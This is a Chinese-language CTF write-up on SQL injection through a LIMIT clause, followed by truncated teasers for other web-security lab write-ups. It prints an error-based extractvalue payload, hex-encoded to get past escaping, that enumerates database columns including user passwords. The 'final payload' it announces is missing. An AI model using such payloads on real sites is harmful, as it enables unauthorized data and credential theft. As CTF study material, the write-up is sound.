參考文章：
單引號上去發現被轉義了，以為是寬位元組注入，後來怎麼構造payload都不成功，看看大佬的wp發現是limit注入
修改limit暴所有表，發現有 article 和 user 兩個表
analyse(extractvalue(rand(),concat(0x7e,(select distinct concat (0x7e,column_name,0x7e)from information_schema.columns where table_name=0x61727469636c65 limit 0,1))),1);%23&num=1
表名那裡直接加單引號會被轉義，所以用16進製制
發現如下字段
article = 0x61727469636c65 ==> id title contents isread
user = 0x75736572 ==> id username password lastloginip
最終payload
少說話，多做事
合天實驗室命令注入
命令注入攻擊 command injection 是指黑客通過利用html 輸入機制缺陷 例如缺乏有效驗證限制的 域 來改變網頁的動態生成的內容。從而可以使用系統命令操作，實現使用遠端資料來構造要執行的命令的操作。php中可以使用下列四個函式來執行外部的應用程式或函式 system exec pas...
網路資訊保安實驗室 補充基礎關
第四關 據說md5加密很安全，真的是麼？分值 200 e0960851294d7b2253978ba858e24633 對其進行md5解密即可 第五關 咱們打 狐瀏覽器，按f12開啟，檢視請求包，將其中的aceept language修改為en us即可 第六關一樣的套路打 狐瀏覽器，修改請求包的u...
網路安全 sql 注入
未經允許萬不可隨意測試 請在法律的允許下使用，謹記謹記！網路安全 sql 注入 位址列輸入在資料庫可以執行的語句，並進入資料庫查到資料 例 ww.com?id 1 and 1 1 轉 資料庫sql 語句 select from 表名 where id 1 and 1 1 ww.com?id 1234...